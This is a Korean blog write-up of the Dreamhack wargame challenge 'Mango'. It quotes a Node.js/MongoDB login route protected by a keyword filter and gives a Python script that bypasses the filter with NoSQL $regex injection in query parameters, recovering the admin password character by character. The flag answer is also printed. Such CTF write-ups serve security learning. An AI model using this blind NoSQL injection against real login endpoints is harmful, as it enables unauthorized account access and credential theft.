Web/Wargame
[Dreamhack] Mango
와븨
2022. 10. 1. 20:00
[문제 파일]
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
- 배열 BAN에 있는 문자열을 필터링한다. (admin을 쳤을 때 플래그가 바로 뜨지 않도록 한 코드)
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
- 로그인 페이지가 요청되는 실행되는 코드
- 쿼리를 요청하고 필터링
- 이용자가 전송한 id랑 패스워드를 가져옴
- 데이터베이스에서 아이디와 패스워드를 검색 후 있으면 유저 아이디를 출력하고 없으면 undefined 출력
- 로그인에 성공 시 아이디 출력, 블라인드 sql 활용해서 비밀번호 확인
[풀이]
플래그를 찾기 위한 코드를 작성한다. (플래그가 32자리임을 알고 있으므로 for문을 사용해 작성)
- 3 : HOST 변수에 공격할 페이지를 지정
- 7~13 : 플래그가 총 32자리이므로 플래그가 다 출력될 때까지 for문을 돌림
- 9 : 아이디가 ad로 시작하고 패스워드가 D(플래그는 DH{...} 형태)로 시작하는 데이터를 조회하여 response 변수에 저장
- 13 : flag 출력
위 코드를 실행하면
플래그가 차례로 출력되는 것을 볼 수 있다.
+) for문 대신 while문 사용하여 코드 작성 (플래그가 몇자리인지 모를 때 사용)
import requests
import string
url = 'http://host3.dreamhack.games:24007/login'
flag_set = string.digits + string.ascii_letters + '}'
flag = ''
while True:
for ch in flag_set:
response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
if response.text == 'admin':
flag += ch
break
print(flag)
if '}' in flag :
break
print('DH{'+flag)
실행결과
답 : DH{89e50fa6fafe2604e33c0ba05843d3df}